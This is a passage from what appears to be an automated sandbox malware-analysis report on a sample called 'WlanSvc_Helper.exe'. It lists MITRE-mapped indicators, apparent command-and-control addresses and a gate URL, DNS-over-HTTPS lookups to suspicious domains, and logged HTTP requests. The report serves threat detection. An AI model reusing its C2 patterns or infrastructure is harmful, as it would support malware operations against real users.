Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to send the specified request to the HTTP server","description":"$56","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-190","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to to receive the response to a HTTP requests","description":"\"WlanSvc_Helper.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"2364b04c3a0\"\n \"lpReserved\": \"0\"}\n \"WlanSvc_Helper.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"23648c57880\"\n \"lpReserved\": \"0\"}\n \"WlanSvc_Helper.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"23648c98b90\"\n \"lpReserved\": \"0\"}\n \"WlanSvc_Helper.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"2364b019130\"\n \"lpReserved\": \"0\"}\n \"WlanSvc_Helper.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"2364b01a480\"\n \"lpReserved\": \"0\"}\n \"WlanSvc_Helper.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"2364b053a70\"\n \"lpReserved\": \"0\"}\n \"WlanSvc_Helper.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"23648c4bdb0\"\n \"lpReserved\": \"0\"}","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-191","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP web server (GET/POST requests)","description":"Found http requests in header \"GET /dns-query?name=get.xabatay.top&type=TXT\"\n Found http requests in header \"POST /api/v3/gate\"\n Found http requests in header \"GET /dns-query?name=get.api-mall.vip&type=TXT\"\n Found http requests in header \"GET /dns-query?name=get.xiner.top&type=TXT\"\n Found http requests in header \"GET /dns-query?name=get.yabgo.top&type=TXT\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"$57","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a new HTTP request (API string)","description":"Found reference to API \"WinHttpOpenRequest\" (Indicator: \"HttpOpenRequest\"; File: \"WlanSvc_Helper.exe\")\n Found reference to API \"WinHttpOpenRequest\" (Indicator: \"HttpOpenRequest\"; Source: \"00000000-00006464.00000000.134867.41C39000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-537","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Windows HTTP services (API string)","description":"$58","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-323","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Network Related","name":"Contains references to pipe API string","description":"$59","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-210","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Network Related","name":"Data transmitted in plain text over an insecure network protocol/port","description":"HTTP traffic to 99.84.234.89 on port 80\n HTTP traffic to 167.86.74.11 on port 80","origin":"Network Traffic","mitre_attack_id":"T1048.003","relevance":1,"id":"network-97","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"167.86.74.11\"\n \"2.5.29.35\"\n \"2.5.29.31\"\n Potential IP \"172.64.34.2\" found in string \"sponse from 172.64.34.2\"\n Potential IP \"11.67.1.1\" found in string \"11.67.1.1!\"\n Potential IP \"167.86.74.11\" found in string \"http://167.86.74.11:80/api/v3/gate\"\n Potential IP \"2.5.29.37\" found in string \"%2.5.29.37\"\n \"2.5.29.17\"\n Potential IP \"2.5.29.35\" found in string \"#2.5.29.35\"\n Potential IP \"167.86.74.11\" found in string \"http://167.86.74.11/\"\n \"67.86.74.11\"\n \"2.5.29.14\"\n \"2.5.29.19\"\n \"2.5.29.15\"\n \"2.5.29.32\"\n Potential IP \"167.86.74.11\" found in string \"[RBv2] Blob parsed. IP=167.86.74.11 seq=1791916001 action=0 valid=true\"\n \"2.5.29.1\"\n Potential IP \"167.86.74.11\" found in string \"http://167.86.74.11/api/v3/gate\"\n \"2.5.4.3\"\n \"2.5.29.10\"\n \"2.5.29.20\"\n \"2.5.29.16\"\n Potential IP \"167.86.74.11\" found in string \"ttp://167.86.74.11\"\n Potential IP \"167.86.74.11\" found in string \"Host: 167.86.74.11\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$5a","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Network Related","name":"GETs files from a web server (HTTPS)","description":"GET /dns-query?name=get.xabatay.top&type=TXT HTTP/1.1\nConnection: Keep-Alive\nAccept: application/dns-json\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)\nHost: cloudflare-dns.com\n\n GET /dns-query?name=get.api-mall.vip&type=TXT HTTP/1.1\nConnection: Keep-Alive\nAccept: application/dns-json\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)\nHost: cloudflare-dns.com\n\n GET /dns-query?name=get.xiner.top&type=TXT HTTP/1.1\nConnection: Keep-Alive\nAccept: application/dns-json\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)\nHost: cloudflare-dns.com\n\n GET /dns-query?name=get.yabgo.top&type=TXT HTTP/1.1\nConnection: Keep-Alive\nAccept: application/dns-json\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)\nHost: cloudflare-dns.com\n","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Network Related","name":"High entropy domain detected","description":"Contacted domain: \"cloudflare-dns.com\" has high entropy","origin":"Network Traffic","mitre_attack_id":"T1568.002","relevance":5,"id":"network-81","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 35ffbe2daba5f224631a493c243351ec","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Network Related","name":"Makes HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Network Related","name":"Possibly tries to communicate over SSL connection (HTTPS)","description":"Found HTTPS url \"https://api.github.com\"\n Found HTTPS url \"https://gitlab.com\"\n Found HTTPS url \"https://t.me\"","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-98","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Network Related","name":"References server/domain address with port number","description":"Found ip/domain with port number \"http://167.86.74.11:80\"","origin":"Indicator Combinations","mitre_attack_id":"T1571","id":"summary-25","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"Found HTTPS GET request to https://cloudflare-dns.com/dns-query?name=get.xabatay.top&type=TXT\n Found HTTPS GET request to https://cloudflare-dns.com/dns-query?name=get.api-mall.vip&type=TXT\n Found HTTPS GET request to https://cloudflare-dns.com/dns-query?name=get.xiner.top&type=TXT\n Found HTTPS GET request to https://cloudflare-dns.com/dns-query?name=get.yabgo.top&type=TXT","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"104.16.248.249\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - Compress data using CryptoPP library","description":"YARA signature for compress data function file \"sample.bin\"","origin":"YARA Signature","mitre_attack_id":"T1560.002","relevance":1,"id":"yara-179","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - Cryptographic algorithm using CryptoPP library","description":"YARA signature for Cryptographic function file \"sample.bin\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":1,"id":"yara-178","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"$5b","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"$5c","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to discover operating system information (API string)","description":"Found reference to API \"RtlGetVersion\" (Indicator: \"RtlGetVersion\"; File: \"WlanSvc_Helper.exe\")\n Found reference to API \"RtlGetVersion\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00006464.00000000.134867.41C39000.00000002.mdmp\")\n Found reference to API \"RtlGetNtProductType,NTDLL.dll,\"00:35:08.140\",RX=0,PX=0\" (Indicator: \"RtlGetNtProductType\"; Source: \"00000000-00006464.00000001.136789.48C5B000.00000004.mdmp, 00000000-00006464.00000002.138708.48C5B000.00000004.mdmp, 00000000-00006464.00000003.144214.48C5B000.00000004.mdmp\")\n Found reference to API \"6,3024,,RtlGetVersion,NTDLL.dll,\"00:35:08.250\",RX=0,PX=0\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00006464.00000001.136789.48C5B000.00000004.mdmp, 00000000-00006464.00000002.138708.48C5B000.00000004.mdmp, 00000000-00006464.00000003.144214.48C5B000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to import GetCommandLine API, which retrieves the command line string for the current process","description":"Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: WlanSvc_Helper.exe]","origin":"Static Parser","mitre_attack_id":"T1059.003","relevance":1,"id":"static-88","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"Found registry query API: \"RegOpenKeyExW\" in file \"WlanSvc_Helper.exe\"\n Found registry query API: \"RegQueryValueExW\" in file \"WlanSvc_Helper.exe\"\n Found registry query API: \"RegQueryValueExW\" in \"00000000-00006464.00000000.134867.41C39000.00000002.mdmp\"\n Found registry query API: \"RegOpenKeyExW\" in \"00000000-00006464.00000000.134867.41C39000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve usernames and/or user information (API string)","description":"Found reference to API \"NtQueryInformationProcess\" (Indicator: \"NtQueryInformationProcess\"; File: \"WlanSvc_Helper.exe\")\n Found reference to API \"NtQueryInformationProcess\" (Indicator: \"NtQueryInformationProcess\"; Source: \"00000000-00006464.00000000.134867.41C39000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$5d","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"WlanSvc_Helper.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"WlanSvc_Helper.exe\" called \"GetComputerNameA\" (UID: 00000000-00006464)\n \"WlanSvc_Helper.exe\" called \"GetComputerNameW\" (UID: 00000000-00006464)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$5e","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Found reference to API \"FindFirstFileExW\" (Indicator: \"FindFirstFile\"; File: \"WlanSvc_Helper.exe\")\n Found reference to API \"FindNextFileA\" (Indicator: \"FindNextFile\"; File: \"WlanSvc_Helper.exe\")\n Found reference to API \"FindFirstFileA\" (Indicator: \"FindFirstFile\"; File: \"WlanSvc_Helper.exe\")\n Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; File: \"WlanSvc_Helper.exe\")\n Found reference to API \"FindFirstFileA\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00006464.00000000.134867.41C39000.00000002.mdmp\")\n Found reference to API \"FindNextFileA\" (Indicator: \"FindNextFile\"; Source: \"00000000-00006464.00000000.134867.41C39000.00000002.mdmp\")\n Found reference to API \"FindFirstFileExW\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00006464.00000000.134867.41C39000.00000002.mdmp\")\n Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; Source: \"00000000-00006464.00000000.134867.41C39000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$5f","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; File: \"WlanSvc_Helper.exe\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00006464.00000000.134867.41C39000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; File: \"WlanSvc_Helper.exe\")\n Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; File: \"WlanSvc_Helper.exe\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; File: \"WlanSvc_Helper.exe\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00006464.00000000.134867.41C39000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00006464.00000000.134867.41C39000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00006464.00000000.134867.41C39000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"WlanSvc_Helper.exe\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00006464.00000000.134867.41C39000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"Found reference to API \"GetFileAttributesW\" (Indicator: \"GetFileAttributes\"; File: \"WlanSvc_Helper.exe\")\n Found reference to API \"GetSystemDirectoryW\" (Indicator: \"GetSystemDirectory\"; File: \"WlanSvc_Helper.exe\")\n Found reference to API \"GetCurrentDirectoryW\" (Indicator: \"GetCurrentDirectory\"; File: \"WlanSvc_Helper.exe\")\n Found reference to API \"GetFileSizeEx\" (Indicator: \"GetFileSize\"; File: \"WlanSvc_Helper.exe\")\n Found reference to API \"GetCurrentDirectoryW\" (Indicator: \"GetCurrentDirectory\"; Source: \"00000000-00006464.00000000.134867.41C39000.00000002.mdmp\")\n Found reference to API \"GetFileAttributesW\" (Indicator: \"GetFileAttributes\"; Source: \"00000000-00006464.00000000.134867.41C39000.00000002.mdmp\")\n Found reference to API \"GetSystemDirectoryW\" (Indicator: \"GetSystemDirectory\"; Source: \"00000000-00006464.00000000.134867.41C39000.00000002.mdmp\")\n Found reference to API \"GetFileSizeEx\" (Indicator: \"GetFileSize\"; Source: \"00000000-00006464.00000000.134867.41C39000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"Found reference to API \"GetComputerNameA\" (Indicator: \"GetComputerName\"; File: \"WlanSvc_Helper.exe\")\n Found reference to API \"GetComputerNameA\" (Indicator: \"GetComputerName\"; Source: \"00000000-00006464.00000000.134867.41C39000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-122","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; File: \"WlanSvc_Helper.exe\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00006464.00000000.134867.41C39000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; File: \"WlanSvc_Helper.exe\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"WlanSvc_Helper.exe\")\n Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; Source: \"00000000-00006464.00000000.134867.41C39000.00000002.mdmp\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00006464.00000000.134867.41C39000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"Found string \"cmd.exe /c \"chcp 65001 >nul &\" (Indicator: \"chcp\"; File: \"WlanSvc_Helper.exe\"), Found string \"cmd.exe /c \"chcp 65001 >nul &\" (Indicator: \"chcp\"; Source: \"00000000-00006464.00000000.134867.41C39000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References to WMI query strings used for information discovery","description":"Found string \"SELECT UUID FROM Win32_ComputerSystemProduct\" (Indicator: \" Win32_ComputerSystem\"; File: \"WlanSvc_Helper.exe\")\n Found string \"SELECT UUID FROM Win32_ComputerSystemProduct\" (Indicator: \" Win32_ComputerSystemProduct\"; File: \"WlanSvc_Helper.exe\")\n Found string \"SELECT UUID FROM Win32_ComputerSystemProduct\" (Indicator: \" Win32_ComputerSystem\"; Source: \"00000000-00006464.00000000.134867.41C39000.00000002.mdmp\")\n Found string \"SELECT UUID FROM Win32_ComputerSystemProduct\" (Indicator: \" Win32_ComputerSystemProduct\"; Source: \"00000000-00006464.00000000.134867.41C39000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-507","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"System Security","name":"Able to delete registry key/value (API string)","description":"Found registry deletion API: \"RegDeleteValueW\" in file \"WlanSvc_Helper.exe\"\n Found registry deletion API: \"RegDeleteValueW\" in \"00000000-00006464.00000000.134867.41C39000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"WlanSvc_Helper.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00006464)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"System Security","name":"Calls an API used to open a process handle","description":"Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: WlanSvc_Helper.exe]","origin":"Static Parser","mitre_attack_id":"T1489","relevance":5,"id":"static-191","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$60","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"System Security","name":"Contains ability to create process with token (API string)","description":"Found reference to API \"CreateProcessAsUserW\" (Indicator: \"CreateProcessAsUser\"; File: \"WlanSvc_Helper.exe\")","origin":"File/Memory","mitre_attack_id":"T1134.002","relevance":1,"id":"string-168","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; File: \"WlanSvc_Helper.exe\")\n Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; Source: \"00000000-00006464.00000000.134867.41C39000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify process attributes (API string)","description":"Found reference to API \"UpdateProcThreadAttribute\" (Indicator: \"UpdateProcThreadAttribute\"; File: \"WlanSvc_Helper.exe\")\n Found reference to API \"InitializeProcThreadAttributeList\" (Indicator: \"InitializeProcThreadAttributeList\"; File: \"WlanSvc_Helper.exe\")\n Found reference to API \"InitializeProcThreadAttributeList\" (Indicator: \"InitializeProcThreadAttributeList\"; Source: \"00000000-00006464.00000000.134867.41C39000.00000002.mdmp\")\n Found reference to API \"UpdateProcThreadAttribute\" (Indicator: \"UpdateProcThreadAttribute\"; Source: \"00000000-00006464.00000000.134867.41C39000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1685","relevance":1,"id":"string-402","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"$61","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; File: \"WlanSvc_Helper.exe\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; File: \"WlanSvc_Helper.exe\")\n Found reference to API \"CorExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00006464.00000000.134867.41C39000.00000002.mdmp\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00006464.00000000.134867.41C39000.00000002.mdmp\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00006464.00000000.134867.41C39000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"WlanSvc_Helper.exe\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00006464.00000000.134867.41C39000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"WlanSvc_Helper.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"System Security","name":"Imports system security related APIs","description":"$62","origin":"Static Parser","mitre_attack_id":"T1134.001","relevance":1,"id":"static-87","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$63","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"$64","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Unusual Characteristics","name":"Detected known bank URL artifact","description":"\".getmicrosoftkey.com1&0\" (Source: 00000000-00006464.00000001.136789.4B01C000.00000004.mdmp, 00000000-00006464.00000002.138708.4B01C000.00000004.mdmp, 00000000-00006464.00000003.144214.4B01C000.00000004.mdmp, Indicator: \"key.com\")","origin":"File/Memory","relevance":2,"id":"string-23","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops file with high entropy, indicating encryption/obfuscation","description":"\"FA933EF1C576B07DCF47ADB21ED04D70 has high entropy\"","origin":"Binary File","mitre_attack_id":"T1560.003","relevance":3,"id":"binary-90","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"FA933EF1C576B07DCF47ADB21ED04D70\" - Location: [%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\FA933EF1C576B07DCF47ADB21ED04D70]- [targetUID: 00000000-00006464]\n Dropped file: \"FA933EF1C576B07DCF47ADB21ED04D70\" - Location: [%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\FA933EF1C576B07DCF47ADB21ED04D70]- [targetUID: 00000000-00006464]","origin":"Binary 